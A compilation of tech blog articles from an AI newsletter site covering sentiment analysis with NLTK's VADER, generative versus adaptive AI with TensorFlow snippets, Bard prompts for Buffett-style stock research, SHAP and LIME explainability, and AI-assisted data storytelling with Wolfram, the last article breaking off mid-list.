Dive deeper into the world of AI innovation and stay ahead of the AI curve! Subscribe to our AI_Distilled newsletter for the latest insights. Don't miss out – sign up today!IntroductionThe process of detecting and extracting emotion from text is referred to as sentiment analysis. It's a powerful tool that can help understand the views of consumers, look at brand ratings, and find satisfaction with customers. Genetic AI models like GPT 3, PaLM, and Bard can change the way we think about sentiment analysis. It is possible to train these models with the aim of understanding human language's nuances, and detecting sentiment in any complicated or subtle text.Benefits of using generative AI for sentiment analysisThere are several benefits to using generative AI for sentiment analysis, including:Accuracy: In the area of sentiment analysis, neural AI models are capable of achieving very high accuracy. It is because of their ability to learn the intricate patterns and relationships between words and phrases which have different meanings.Scalability: Generative AI models can be scaled to analyze large volumes of text quickly and efficiently. It is of particular importance for businesses and organizations that need to process large quantities of feedback from customers or are dealing with Social Media data.Flexibility: In order to take into account the specific needs of different companies and organizations, genetic AI models may be adapted. A model may be trained to determine the feelings of customer assessments, Social Media posts, or any other type of news.How to use generative AI for sentiment analysisThere are two main ways to use generative AI for sentiment analysis:Prompt engineering: Prompt engineering is the process of designing prompts, which are used to guide generative AI models in generating desired outputs. For example, the model might be asked to state "the following sentence as positive, negative, or neutral: I'm in love with this new product!"Fine-tuning: Finetuning refers to a process of training the generative AI model on some particular text and label data set. This is why the model will be able to discover special patterns and relationships associated with various emotions in that data set.Hands-on examplesIn this example, we will use the PaLM API to perform sentiment analysis on a customer review.Example - 1Input:import nltk from nltk.sentiment.vader import SentimentIntensityAnalyzer # Download the VADER lexicon for sentiment analysis (run this once) nltk.download('vader_lexicon') def analyze_sentiment(sentence):    # Initialize the VADER sentiment intensity analyzer    analyzer = SentimentIntensityAnalyzer()      # Analyze the sentiment of the sentence    sentiment_scores = analyzer.polarity_scores(sentence)      # Determine the sentiment based on the compound score    if sentiment_scores['compound'] >= 0.05:        return 'positive'    elif sentiment_scores['compound'] <= -0.05:        return 'negative'    else:        return 'neutral' # Example usage with a positive sentence positive_sentence = "I am thrilled with the results! The team did an amazing job!" sentiment = analyze_sentiment(positive_sentence) print(f"Sentiment: {sentiment}")Output:Sentiment: positiveIn order to analyze the emotion in a particular sentence we have created a function that divides it into categories based on its sentiment score and labels it as positive, unfavorable, or neutral. For example, a positive sentence is analyzed and the results show a "positive" sentiment.Example - 2Input:import nltk from nltk.sentiment.vader import SentimentIntensityAnalyzer # Download the VADER lexicon for sentiment analysis (run this once) nltk.download('vader_lexicon') def analyze_sentiment(sentence):    # Initialize the VADER sentiment intensity analyzer    analyzer = SentimentIntensityAnalyzer()      # Analyze the sentiment of the sentence    sentiment_scores = analyzer.polarity_scores(sentence)      # Determine the sentiment based on the compound score    if sentiment_scores['compound'] >= 0.05:        return 'positive'    elif sentiment_scores['compound'] <= -0.05:        return 'negative'    else:        return 'neutral' # Example usage with a negative sentence negative_sentence = "I am very disappointed with the service. The product didn't meet my expectations." sentiment = analyze_sentiment(negative_sentence) print(f"Sentiment: {sentiment}")Output:Sentiment: negativeWe have set up a function to evaluate the opinions of some sentences and then classify them according to their opinion score, which we refer to as Positive, Negative, or Neutral. To illustrate this point, an analysis of the negative sentence is carried out and the output indicates a "negative" sentiment.Example - 3Input:import nltk from nltk.sentiment.vader import SentimentIntensityAnalyzer # Download the VADER lexicon for sentiment analysis (run this once) nltk.download('vader_lexicon') def analyze_sentiment(sentence):    # Initialize the VADER sentiment intensity analyzer    analyzer = SentimentIntensityAnalyzer()    # Analyze the sentiment of the sentence    sentiment_scores = analyzer.polarity_scores(sentence)    # Determine the sentiment based on the compound score    if sentiment_scores['compound'] >= 0.05:        return 'positive'    elif sentiment_scores['compound'] <= -0.05:        return 'negative'    else:        return 'neutral' # Example usage sentence = "This is a neutral sentence without any strong sentiment." sentiment = analyze_sentiment(sentence) print(f"Sentiment: {sentiment}")Output:Sentiment: neutralFor every text item, whether it's a customer review, social media post or news report, the PaLM API can be used for sentiment analysis. To do this, select a prompt that tells your model what it wants to be doing and then request API by typing in the following sentence as positive, negative, or neutral. A prediction that you can print to the console or use in your application will then be generated by this model.Applications of sentiment analysis with generative AISentiment analysis with generative AI can be used in a wide variety of applications, including:Customer feedback analysis: Generative AI models can be used to analyze customer reviews and feedback to identify trends and areas for improvement.Social media monitoring: Generative AI models can be used to monitor social media platforms for brand sentiment and public opinion.Market research: In order to get a better understanding of customer preferences and find new opportunities, Generative AI models may be used for analyzing market research data.Product development: To identify new features and improvements, the use of neural AI models to analyze feedback from customers and product reviews is possible.Risk assessment: Generative AI models can be used to analyze financial and other data to assess risk.Challenges of using generative AI for sentiment analysisWhile generative AI has the potential to revolutionize sentiment analysis, there are also some challenges that need to be addressed:Requirements for data: Generative AI models require large amounts of training data to be effective. This can be a challenge for businesses and organizations that do not have access to large datasets.Model bias: Due to the biases inherent in the data they're trained on, generative AI models can be biased. This needs to be taken into account, as well as steps to mitigate it.Interpretation difficulties: The predictions of the generative AI models can be hard to understand. This makes it difficult to understand why a model made such an estimate, as well as to believe in its results.ConclusionThe potential for Generative AI to disrupt sentiment analysis is enormous. The generative AI models can achieve very high accuracy, scale to analyze a large volume of text, and be custom designed in order to meet the specific needs of different companies and organizations. In order to analyze sentiment for a broad range of text data, generative AI models can be used if you use fast engineering and quality tuning.A powerful new tool that can be applied to understand and analyze human language in new ways is sentiment analysis with generative artificial intelligence. As models of generative AI are improving, we can expect that this technology will be applied to a wider variety of applications and has an important impact on our daily lives and work.Author BioSangita Mahala is a passionate IT professional with an outstanding track record, having an impressive array of certifications, including 12x Microsoft, 11x GCP, 2x Oracle, and LinkedIn Marketing Insider Certified. She is a Google Crowdsource Influencer and IBM champion learner gold. She also possesses extensive experience as a technical content writer and accomplished book blogger. She is always Committed to staying with emerging trends and technologies in the IT sector.

Dive deeper into the world of AI innovation and stay ahead of the AI curve! Subscribe to our AI_Distilled newsletter for the latest insights. Don't miss out – sign up today!IntroductionGenerative AI tools have emerged as a groundbreaking technology, paving the way for innovation and creativity across various domains. Understanding the nuances of generative AI and its integration with adaptive AI tools is essential in unlocking its full potential. Generative AI, a revolutionary concept, stands tall among these innovations, enabling machines not just to replicate patterns from existing data but to generate entirely new and creative content. Combined with complementary AI tools, this technology reaches new heights, reshaping industries and fueling unprecedented creativity.                                                                                                                                SourceConcept of Generative AI ToolsGenerative AI tools encompass artificial intelligence systems designed to produce new, original content based on patterns learned from existing data. These tools employ advanced algorithms such as Generative Adversarial Networks (GANs) and Variational Autoencoders (VAEs) to create diverse outputs, including text, images, videos, and more. Their ability to generate novel content makes them invaluable in creative fields and scientific research.Difference between Generative AI and Adaptive AIWhile generative AI focuses on creating new content, adaptive AI adjusts its behavior based on the input it receives. Generative AI is about generating something new, whereas adaptive AI learns from interactions and refines its responses over time.Generative AI in ActionGenerative AI's essence lies in creating new, original content. Consider a practical example of image synthesis using a Generative Adversarial Network (GAN). GANs comprise a generator and a discriminator, engaged in a competitive game where the generator creates realistic images to deceive the discriminator. Here's a Python code snippet showcasing a basic GAN implementation using TensorFlow:import tensorflow as tf from tensorflow.keras.models import Sequential from tensorflow.keras.layers import Dense, Reshape from tensorflow.keras.layers import LeakyReLU # Define the generator model generator = Sequential() generator.add(Dense(128, input_shape=(100,))) generator.add(LeakyReLU(0.2)) generator.add(Reshape((28, 28, 1))) # Define the discriminator model (not shown for brevity) # Compile the generator generator.compile(loss='binary_crossentropy', optimizer='adam')In this code, the generator creates synthetic images based on random noise (a common practice in GANs). Through iterations, the generator refines its ability to produce images resembling the training data, showcasing the creative power of Generative AI.Adaptive AI in PersonalizationAdaptive AI, conversely, adapts to user interactions, providing tailored experiences. Let's explore a practical example of building a simple recommendation system using collaborative filtering, an adaptive AI technique. Here's a Python code snippet using the Surprise library for collaborative filtering:from surprise import Dataset from surprise import Reader from surprise.model_selection import train_test_split from surprise import SVD from surprise import accuracy # Load your data into Surprise Dataset reader = Reader(line_format='user item rating', sep=',') data = Dataset.load_from_file('path/to/your/data.csv', reader=reader) # Split data into train and test sets trainset, testset = train_test_split(data, test_size=0.2) # Build the SVD model (Matrix Factorization) model = SVD() model.fit(trainset) # Make predictions on the test set predictions = model.test(testset) # Evaluate the model accuracy.rmse(predictions)In this example, the Adaptive AI model learns from user ratings and adapts to predict new ratings. By tailoring recommendations based on individual preferences, Adaptive AI enhances user engagement and satisfaction.Generative AI sparks creativity, generating new content such as images, music, or text, as demonstrated through the GAN example. Adaptive AI, exemplified by collaborative filtering, adapts to user behavior, personalizing experiences and recommendations.By understanding and harnessing both Generative AI and Adaptive AI, developers can create innovative applications that not only generate original content but also adapt to users' needs, paving the way for more intelligent and user-friendly AI-driven solutions.Harnessing Artificial IntelligenceHarnessing AI involves leveraging its capabilities to address specific challenges or achieve particular goals. It requires integrating AI algorithms and tools into existing systems or developing new applications that utilize AI's power to enhance efficiency, accuracy, and creativity.Harnessing the power of Generative AI involves several essential steps, from selecting the suitable model to training and generating creative outputs. Here's a breakdown of the steps, along with code snippets using Python and popular machine-learning libraries like TensorFlow and PyTorch:Step 1: Choose a Generative AI ModelSelect an appropriate Generative AI model based on your specific task. Standard models include Variational Autoencoders (VAEs), Generative Adversarial Networks (GANs), and Transformers like OpenAI's GPT (Generative Pre-trained Transformer).Step 2: Prepare Your DataPrepare a dataset suitable for your task. For example, if you're generating images, ensure your dataset contains a diverse range of high-quality images. If you're generating text, organize your textual data appropriately.Step 3: Preprocess the DataPreprocess your data to make it suitable for training. This might involve resizing images, tokenizing text, or normalizing pixel values. Here's a code snippet demonstrating image preprocessing using TensorFlow:from tensorflow.keras.preprocessing.image import ImageDataGenerator # Image preprocessing datagen = ImageDataGenerator(rescale=1./255) train_generator = datagen.flow_from_directory(    'path/to/your/dataset',    target_size=(64, 64),    batch_size=32,    class_mode='binary' )Step 4: Build and Compile the Generative ModelBuild your Generative AI model using the chosen architecture. Compile the model with an appropriate loss function and optimizer. For example, here's a code snippet to create a basic generator model using TensorFlow:import tensorflow as tf from tensorflow.keras.models import Sequential from tensorflow.keras.layers import Dense, Reshape, LeakyReLU # Generator model generator = Sequential() generator.add(Dense(128, input_shape=(100,))) generator.add(LeakyReLU(0.2)) generator.add(Reshape((64, 64, 3)))  # Adjust dimensions based on your taskStep 5: Train the Generative ModelTrain your Generative AI model using the prepared dataset. Adjust the number of epochs, batch size, and other hyperparameters based on your specific task and dataset. Here's a code snippet demonstrating model training using TensorFlow:# Compile the generator model generator.compile(loss='mean_squared_error', optimizer='adam') # Train the generator generator.fit(train_generator, epochs=100, batch_size=32)Step 6: Generate Creative OutputsOnce your Generative AI model is trained, you can generate creative outputs. For images, you can generate new samples. For text, you can generate paragraphs or even entire articles. Here's a code snippet to generate images using the trained generator model:# Generate new images import matplotlib.pyplot as plt # Generate random noise as input random_noise = tf.random.normal(shape=[1, 100]) # Generate image generated_image = generator(random_noise, training=False) # Display the generated image plt.imshow(generated_image[0, :, :, :]) plt.axis('off') plt.show()By following these steps and adjusting the model architecture and hyperparameters according to your specific task, you can delve into the power of Generative AI to create diverse and creative outputs tailored to your requirements.                                                                                                                                 SourceExample of Generative AIOne prominent example of generative AI is DeepArt, an online platform that transforms photographs into artworks inspired by famous artists’ styles. DeepArt utilizes neural networks to analyze the input image and recreate it in the chosen artistic style, demonstrating the creative potential of generative AI.Positive Uses and Effects of Generative AIGenerative AI has found positive applications in various fields. In healthcare, it aids in medical image synthesis, generating detailed and accurate images for diagnostic purposes. In the entertainment industry, generative AI is utilized to create realistic special effects and animations, enhancing the overall viewing experience. Moreover, it facilitates rapid prototyping in product design, allowing for the generation of diverse design concepts efficiently.Most Used and Highly Valued Generative AIAmong the widely used generative AI technologies, OpenAI's GPT (Generative Pre-trained Transformer) stands out. Its versatility in generating human-like text has made it a cornerstone in natural language processing tasks. Regarding high valuation, NVIDIA's StyleGAN, a GAN-based model for developing lifelike images, has garnered significant recognition for its exceptional output quality and flexibility.Code Examples:To harness the power of generative AI with complementary AI tools, consider the following Python code snippet using TensorFlow:import tensorflow as tf from tensorflow.keras.models import Sequential from tensorflow.keras.layers import Dense, Reshape from tensorflow.keras.layers import LeakyReLU # Define the generative model generator = Sequential() generator.add(Dense(128, input_shape=(100,))) generator.add(LeakyReLU(0.2)) generator.add(Reshape((28, 28, 1))) # Compile the model generator.compile(loss='binary_crossentropy', optimizer='adam') # Generate synthetic data random_noise = tf.random.normal(shape=[1, 100]) generated_image = generator(random_noise, training=False)ConclusionGenerative AI, with its ability to create novel content coupled with adaptive AI, opens doors to unparalleled possibilities. By harnessing the power of these technologies and integrating them effectively, we can usher in a new era of innovation, creativity, and problem-solving across diverse industries. As we continue to explore and refine these techniques, the future holds endless opportunities for transformative applications in our rapidly advancing world.Author BioJyoti Pathak is a distinguished data analytics leader with a 15-year track record of driving digital innovation and substantial business growth. Her expertise lies in modernizing data systems, launching data platforms, and enhancing digital commerce through analytics. Celebrated with the "Data and Analytics Professional of the Year" award and named a Snowflake Data Superhero, she excels in creating data-driven organizational cultures.Her leadership extends to developing strong, diverse teams and strategically managing vendor relationships to boost profitability and expansion. Jyoti's work is characterized by a commitment to inclusivity and the strategic use of data to inform business decisions and drive progress.

Dive deeper into the world of AI innovation and stay ahead of the AI curve! Subscribe to our AI_Distilled newsletter for the latest insights. Don't miss out – sign up today!IntroductionHey there, financial explorers!Ever felt overwhelmed by the vast sea of investment strategies out there? You're not alone. But amidst this overwhelming ocean, one lighthouse stands tall: Warren Buffett. The good news? We've teamed up with Google Bard to break down his legendary value-investing approach into bite-sized, actionable prompts. Think of it as your treasure map, leading you step-by-step through the intricate maze of investment wisdom that Buffett has championed over the years.Decoding Smart Investing: A Buffett-Inspired GuideLet's dive straight into the art of smart investing, inspired by the one and only Warren Buffett. First things first: get to know the business you're eyeing. What's their main product, and why's it special? How's their industry doing, and who are the big names in their field? It's crucial to grasp how they earn their bucks. Next, roll up your sleeves and peek into their financial health. Check out their revenues, costs, profits, and some essential numbers that give you the real picture. Now, who's steering the ship? Understand the team's past decisions, how they chat with shareholders, and if their interests align with the company's success.But wait, there's more! Every company has something that makes them stand out, be it their brand, cost efficiency, or even special approvals that keep competitors at bay. And before you take the plunge, make sure you know what the company's truly worth and if its future looks bright. We're talking about its real value and what lies ahead in terms of growth and potential hiccups.Ready to dive deep? Let's get started!Step 1. Understand the BusinessProduct or Service: Start by understanding the core product or service of the company. What do they offer, and how is it different from competitors?Industry Overview: Understand the industry in which the company operates. What are the industry's growth prospects? Who are the major players?Business Model: Dive deep into how the company makes money. What are its main revenue streams?Step 2. Analyze Financial HealthIncome Statement: Look at the company's revenues, costs, and profits over time.Balance Sheet: Examine assets, liabilities, and shareholders' equity to assess the company's financial position.Cash Flow Statement: Understand how money moves in and out of the company. Positive cash flow is a good sign.Key Ratios: Calculate and analyze ratios like Price-to-Earnings (P/E), Debt-to-Equity, Return on Equity (ROE), and others.Step 3. Management QualityTrack Record: What successes or failures has the current management team had in the past?Shareholder Communication: Buffett values management teams that communicate transparently and honestly with shareholders.Alignment: Do the management's interests align with shareholders? For instance, do they own a significant amount of stock in the company?Step 4. Competitive Advantage (or Moat)Branding: Does the company have strong brand recognition or loyalty?Cost Advantages: Can the company produce goods or services more cheaply than competitors?Network Effects: Do more users make the company's product or service more valuable (e.g., Facebook or Visa)?Regulatory Advantages: Does the company have patents, licenses, or regulatory approvals that protect it from competition?Step 5. ValuationIntrinsic Value: Estimate the intrinsic value of the company. Buffett often uses the discounted cash flow (DCF) method.The margin of Safety: Aim to buy at a price significantly below the intrinsic value to provide a cushion against unforeseen negative events or errors in valuation.Step 6. Future ProspectsGrowth Opportunities: What are the company's prospects for growth in the next 5-10 years?Risks: Identify potential risks that could derail the company's growth or profitability.Now let’s prompt our way towards making smart decisions using Google Bard. In this case, we have taken Google as a use case1. Understand the BusinessProduct or Service: "Describe the core product or service of the company. Highlight its unique features compared to competitors."Industry Overview: "Provide an overview of the industry the company operates in, focusing on growth prospects and key players."Business Model: "Explain how the company earns revenue. Identify its main revenue streams."2. Analyze Financial HealthIncome Statement: "Summarize the company's income statement, emphasizing revenues, costs, and profits trends."Balance Sheet: "Analyze the company's balance sheet, detailing assets, liabilities, and shareholder equity."Cash Flow Statement: "Review the company's cash flow. Emphasize the significance of positive cash flow."Key Ratios: "Calculate and interpret key financial ratios like P/E, Debt-to-Equity, and ROE."3. Management QualityTrack Record: "Evaluate the current management's past performance and decisions."Shareholder Communication: "Assess the transparency and clarity of management's communication with shareholders."Alignment: "Determine if management's interests align with shareholders. Note their stock ownership." 4. Competitive Advantage (or Moat)Branding: "Discuss the company's brand strength and market recognition."Cost Advantages: "Examine the company's ability to produce goods/services at a lower cost than competitors."Network Effects: "Identify if increased user numbers enhance the product/service's value."Regulatory Advantages: "List any patents, licenses, or regulatory advantages the company holds."5. ValuationIntrinsic Value: "Estimate the company's intrinsic value using the DCF method."The Margin of Safety: "Determine the ideal purchase price to ensure a margin of safety in the investment."6. Future ProspectsGrowth Opportunities: "Predict the company's growth potential over the next 5-10 years."Risks: "Identify and elaborate on potential risks to the company's growth or profitability."These prompts should guide an individual through the investment research steps in the manner of Warren Buffett.ConclusionWell, that's a wrap! Remember, the journey of investing isn't a sprint; it's a marathon. With the combined wisdom of Warren Buffett and the clarity of Google Bard, you're now armed with a toolkit that's both enlightening and actionable. Whether you're just starting out or looking to refine your investment compass, these prompts are your trusty guide. So, here's to making informed, thoughtful decisions and charting a successful course in the vast world of investing. Happy treasure hunting!Author BioDr. Anshul Saxena is an author, corporate consultant, inventor, and educator who assists clients in finding financial solutions using quantum computing and generative AI. He has filed over three Indian patents and has been granted an Australian Innovation Patent. Anshul is the author of two best-selling books in the realm of HR Analytics and Quantum Computing (Packt Publications). He has been instrumental in setting up new-age specializations like decision sciences and business analytics in multiple business schools across India. Currently, he is working as Assistant Professor and Coordinator – Center for Emerging Business Technologies at CHRIST (Deemed to be University), Pune Lavasa Campus. Dr. Anshul has also worked with reputed companies like IBM as a curriculum designer and trainer and has been instrumental in training 1000+ academicians and working professionals from universities and corporate houses like UPES, CRMIT, and NITTE Mangalore, Vishwakarma University, Pune & Kaziranga University, and KPMG, IBM, Altran, TCS, Metro CASH & Carry, HPCL & IOC. With a work experience of 5 years in the domain of financial risk analytics with TCS and Northern Trust, Dr. Anshul has guided master's students in creating projects on emerging business technologies, which have resulted in 8+ Scopus-indexed papers. Dr. Anshul holds a PhD in Applied AI (Management), an MBA in Finance, and a BSc in Chemistry. He possesses multiple certificates in the field of Generative AI and Quantum Computing from organizations like SAS, IBM, IISC, Harvard, and BIMTECH.Author of the book: Financial Modeling Using Quantum Computing

Dive deeper into the world of AI innovation and stay ahead of the AI curve! Subscribe to our AI_Distilled newsletter for the latest insights. Don't miss out – sign up today!IntroductionGenerative AI is a subset of artificial intelligence that trains models to generate new data similar to some existing data. Examples - are image generation - creating realistic images that do not exist, Text generation - generating human-like text based on a given prompt, and music composition- creating new music compositions based on existing styles and genres.LLM - Large Language models - are a type of AI model specialized in processing and generating human language - They are trained on vast amounts of text data, which makes them capable of understanding context, semantics, and language nuances. Example- GPT3 from OPENAI.LLMs automate routine language processing tasks - freeing up human resources for more strategic work.Black Box DilemmaComplex ML models, like deep neural networks, are often termed as "black boxes" due to their opaque nature. While they can process vast amounts of data and provide accurate predictions, understanding how they arrived at a particular decision is challenging.Transparency in ML models is crucial for building trust, verifying results, and ensuring that the model is working as intended. It's also necessary for debugging and improving models.Model Explainability LandscapeModel explainability refers to the degree to which a human can understand the decisions made by a machine learning model. It's about making the model’s decisions interpretable to humans, which is crucial for trust and actionable insights. There are two types of explainability models -Intrinsic explainability refers to models that are naturally interpretable due to their simplicity and transparency. They provide insight into their decision-making process as part of their inherent design.Examples: Decision Trees, Linear Regression, Logistic Regression.Pros and Cons: Highlight that while they are easy to understand, they may lack the predictive power of more complex models.Post-hoc explainability methods are applied after a model has been trained. They aim to explain the decisions of complex, black-box models by approximating their behavior or inspecting their structure.Examples: LIME (Local Interpretable Model-agnostic Explanations), SHAP (SHapley Additive exPlanations), and Integrated Gradients.Pros and Cons: Post-hoc methods allow for the interpretation of complex models but the explanations provided may not always be perfect or may require additional computational resources.SHAP (SHapley Additive exPlanations)Concept:Main Idea: SHAP values provide a measure of the impact of each feature on the prediction for a particular instance.Foundation: Based on Shapley values from cooperative game theory.Working Mechanism:Shapley Value Calculation:For a given instance, consider all possible subsets of features.For each subset, compare the model's prediction with and without a particular feature.Average these differences across all subsets to compute the Shapley value for that feature.SHAP Value Interpretation:Positive SHAP values indicate a feature pushing the prediction higher, while negative values indicate the opposite.The magnitude of the SHAP value indicates the strength of the effect.LIME (Local Interpretable Model-agnostic Explanations)Concept:Main Idea: LIME aims to explain the predictions of machine learning models by approximating the model locally around the prediction point.Model-Agnostic: It can be used with any machine learning model.Working Mechanism:Selection of Data Point: Select a data point that you want to explain.Perturbation: Create a dataset of perturbed instances by randomly changing the values of features of the original data point.Model Prediction: Obtain predictions for these perturbed instances using the original model.Weight Assignment: Assign weights to the perturbed instances based on their proximity to the original data point.Local Model Training: Train a simpler, interpretable model (like linear regression or decision tree) on the perturbed dataset, using the weights from step 4.Explanation Extraction: Extract explanations from the simpler model, which now serves as a local surrogate of the original complex model.Hands-on exampleIn the below code snippet, we are using a popular churn prediction dataset to create a Random Forest Model.# Part 1 - Data Preprocessing # Importing the libraries import numpy as np import matplotlib.pyplot as plt import pandas as pd # Importing the dataset dataset = pd.read_csv('Churn_Modelling.csv') X = dataset.iloc[:, 3:13] y = dataset.iloc[:, 13] dataset.head()#Create dummy variables geography=pd.get_dummies(X["Geography"],drop_first=True) gender=pd.get_dummies(X['Gender'],drop_first=True)## Concatenate the Data Frames X=pd.concat([X,geography,gender],axis=1) ## Drop Unnecessary columns X=X.drop(['Geography','Gender'],axis=1)Now, we save the model pickle file and use the lime and shap libraries for explainability.import pickle pickle.dump(classifier, open("classifier.pkl", 'wb')) pip install lime pip install shap import lime from lime import lime_tabular interpretor = lime_tabular.LimeTabularExplainer( training_data=np.array(X_train), feature_names=X_train.columns, mode='classification')Lime has a Lime Tabular module to set the explainability module for tabular data. We pass in the training dataset, and the mode of the model as classification here.exp = interpretor.explain_instance( data_row=X_test.iloc[5], ##new data predict_fn=classifier.predict_proba) exp.show_in_notebook(show_table=True) We can see from the above chart, that Lime is able to explain one particular prediction from X_test in detail. The prediction here is 1 - (Churn is True), and the features that are contributing positively are represented in orange, and negatively are shown in blue.import shap shap.initjs() explainer = shap.Explainer(classifier) shap_values = explainer.shap_values(X_test) shap.summary_plot(shap_values, X_test)In the above code snippet, we have created a plot for explainability using the shap library. The Shap library here gives a global explanation for the entire test dataset, compared to LIME which focuses on local interpretation.From the below graph, we can see which features contribute to how much for each of the churn classes.ConclusionExplainability in AI enables trust in AI systems, and enables us to dive deeper in understanding the reasoning behind the models, and make appropriate updates to models in case there are any biases. In this article, we used libraries such as SHAP and LIME that make explainability easier to design and implement.Author BioSwagata Ashwani serves as a Principal Data Scientist at Boomi, where she leads the charge in deploying cutting-edge AI solutions, with a particular emphasis on Natural Language Processing (NLP). With a stellar track record in AI research, she is always on the lookout for the next state-of-the-art tool or technique to revolutionize the industry. Beyond her technical expertise, Swagata is a fervent advocate for women in tech. She believes in giving back to the community, regularly contributing to open-source initiatives that drive the democratization of technology.Swagata's passion isn't limited to the world of AI; she is a nature enthusiast, often wandering beaches and indulging in the serenity they offer. With a cup of coffee in hand, she finds joy in the rhythm of dance and the tranquility of the great outdoors.

Dive deeper into the world of AI innovation and stay ahead of the AI curve! Subscribe to our AI_Distilled newsletter for the latest insights. Don't miss out – sign up today!IntroductionAs data volumes grow exponentially, converting vast amounts of data into digestible, human-friendly "information assets" has become a blend of art and science. This process requires understanding the data's context, the intended objective, the target audience. The final step of curating and converting information assets into a cohesive narrative that results in human understanding and persuasion is known as “Data Storytelling.”The Essence of Data StorytellingCrafting a compelling data story means setting a clear objective, curating information, and narrating relevant information assets. Good stories communicate effectively, leaving a lasting impression, and in some cases, sway opinions or reinforce previously accepted knowledge. A common tactic to tell an influential data story typically contains quantitative facts and statistics.Modern enterprises utilize a myriad of techniques to convert accumulated data into valuable information assets.  The vast amounts of analytical and qualitative information assets get distributed in the form of reports and dashboards. These assets are informational to support process automation, decision support, and facilitate future predictions.  Many curated stories manifest as summarized text and charts, often taking the form of a document, spreadsheet, or presentation.The Potential of Generative AIWhile analytics and machine learning are adept at tackling large-scale computational challenges, the growing demand for curated explanations has elevated data storytelling to an important discipline. However, the number of skilled data storytellers remains limited due to the unique blend of technical and soft skills required. This has led to a high demand for quality data stories and a scarcity of adept professionals. Generative AI provides a promising solution by automating many of the data storytelling steps and simulating human interpretation and comprehension.Crafting Dynamic Narratives with AIConstructing a coherent narrative from data is intricate. However, the emergence of powerful generative AI models, such as BARD and ChatGPT, offers hope. These platforms, initially popularized by potent large language models, have recently incorporated computer vision to interpret and generate visual data. Given the right context and curated data, these AI models seem ready to address several challenges of data storytelling.Presently, publicly available generative AI models can produce code-based data analysis, interpret and present findings, experiment with story structures, extract insights, and customize messages based on user personas. Generative AI isn’t adapted to prepare complete visual stories with quantitative data. Merging and chaining multiple AI agents will open the door to translating and delivering visual stories.The essence of data storytelling lies in narration, and occasionally, in persuasion or creative representation of information. Unmonitored nuances in AI-generated data narratives can be misleading or flat-out incorrect. There is no scenario where data storytelling should go un-aided by a human reviewer.How Generative AI Can Aid Traditional Descriptive Analytics StoriesVarious data analysis techniques, including scatter plots, correlation mattresses, and histograms, help unveil the relationships and patterns within the data. Identifying trends and visualizing the data distribution process, the exploratory data analysis technique guides in selecting the appropriate analysis method. Large language models are not designed to perform computational and quantitative analysis. However, they are quite proficient at generating coding capable of and translating questions to code into quantitative analysis only when context and data are well defined.Understanding Data ContextBefore choosing any technique to generate narratives, it's essential to understand the context of a dataset. Delving deep into domain-specific nuances ensures narratives that are both focused and relevant.● Preprocessing and Data CleaningClean and well-processed data form the bedrock of impactful analyses. Both human-built data stories and AI-augmented narratives falter with poor data. Advancements in data management, governance, and descriptive analytics are pivotal in paving the way for superior AI-enhanced stories. Proper preprocessing and quality data are prerequisites for crafting reliable narratives.● Exploratory Data Analysis TechniquesData exploration without context and understanding of the data is challenging. However, with a very good dictionary, business glossary, and good data large language models can easily write code capable of streamlining basic data exploration with a human in the loop steering the process.● Machine Learning with Advanced AnalyticsTo create dynamic and impactful narratives, it's vital to employ a range of advanced analytical methods, such as regression analysis and clustering. These techniques help unearth detailed insights. Similarly, Generative AI can efficiently conduct basic statistical analyses. It can also deploy machine learning algorithms like decision trees and random forests to discern intricate patterns. Weaving these insights into narrative techniques imparts a layer of sophistication and depth to the storytelling.● Interactive Data VisualizationInteractive visualization tools enable users to dynamically explore data. Traditionally, this area has been predominantly the domain of human analysis. While machines can interpret data patterns without visual aids, rapid advancements in computer vision and generative AI are bridging the gap. Today's AI can interpret visual representations of data, deriving meaning from visualizations. It's becoming increasingly common for dashboards to be reviewed and summarized by AI, a trend likely to continue.ExampleHere is a simple example in action where we have a data insight that we want to translate to a simple infographic:Data Insight: Our customer demographics include 45% millennials, 30% Gen X, and 25% baby boomers.Prompt: Create a visual representation to tell the story via wolframResult: The result with Wolram enabled is a conversion of my prompt and data insights into code that can be translated to a visual infographic REQUEST TO WOLFRAM{ "input": "BarChart[{45, 30, 25}, ChartLabels -> {\"Millennials\", \"Gen X\", \"Baby Boomers\"}, ChartStyle -> {RGBColor[0, 0.5, 1], RGBColor[0, 0.8, 0], RGBColor[1, 0.5, 0]}, PlotLabel -> \"Customer Demographics\", AxesLabel -> {\"Demographic\", \"Percentage\"}]" }RESPONSE FROM WOLFRAM{ "output": "https://www.wolframcloud.com/obj/86f3ba22-6a46-412d-88e1-b90064001407" }How Generative AI Can Aid Narrative CreationNatural language processing One of the techniques to generate dynamic narratives is the implementation of natural language processing. The technique helps in extracting insights from contextual data. Sometimes, sentiment analysis and topic modeling help in processing textual information while changing the outlook of unstructured data into valuable narratives. At the same time, integrating the same analysis can increase understanding of the narrative.Data storytellingAs a user, if you want to draft a compelling data story, you need to structure the narrative coherently. Starting with a captivating introduction accompanied by data-driven insights and their implications enhances the method. Such compelling storytelling ensures that the focal message is conveyed with clarity.Data Insight: Our website traffic increased by 25% after the recent marketing campaign. Sales of Product A saw a significant boost, contributing to 40% of total revenue.Prompt: Create a visual representation to tell the story via wolfram and a data-driven story based on the following insightsResult:REQUEST TO WOLFRAM:{ "input": "GraphicsRow[{BarChart[{100, 125}, ChartLabels -> {\"Before Campaign\", \"After Campaign\"}, ChartStyle -> {Blue, Green}, AxesLabel -> {\"\", \"Traffic\"}, PlotLabel -> \"Website Traffic\"], PieChart[{40, 60}, ChartLabels -> {\"Product A\", \"Other Products\"}, ChartStyle -> {Red, Yellow}, PlotLabel -> \"Revenue Contribution\"]}]" }RESPONSE FROM WOLFRAM:{ "output": "https://www.wolframcloud.com/obj/7221f424-771c-4a02-997b-f9bf8fade843" }Narrative: "After launching our recent marketing campaign, we witnessed a remarkable surge in our website traffic. The numbers speak for themselves: a significant 25% increase! This not only brought more visitors to our platform but also translated into tangible business outcomes. A standout performer was Product A, which became a major revenue driver. It alone accounted for a whopping 40% of our total revenue, highlighting its immense popularity among our customers. The campaign not only amplified our reach but also reinforced the market's love for Product A. It's evident that our marketing efforts and Product A together created a winning combination for our business."How can AI-aided storytelling drive operations efficiently?AI-aided storytelling methods don’t always require creating information assets from raw data. Generative AI can assist in translating previously created information assets or summaries into the new explorative analyses.Data Insight: In the last quarter, our sales increased by 20%. Customer engagement on social media platforms grew by 35%.Prompt: How can we summarize the information to tell a good data story? What are some additional insights we should investigate?Result from Large Language Model:Additional Insights to Investigate: 1. Source of Traffic and Sales: Which social media platforms contributed the most to the increased engagement? Are there specific platforms that are driving more sales compared to others? 2. Content Analysis: What type of content (videos, articles, images, etc.) received the most engagement? 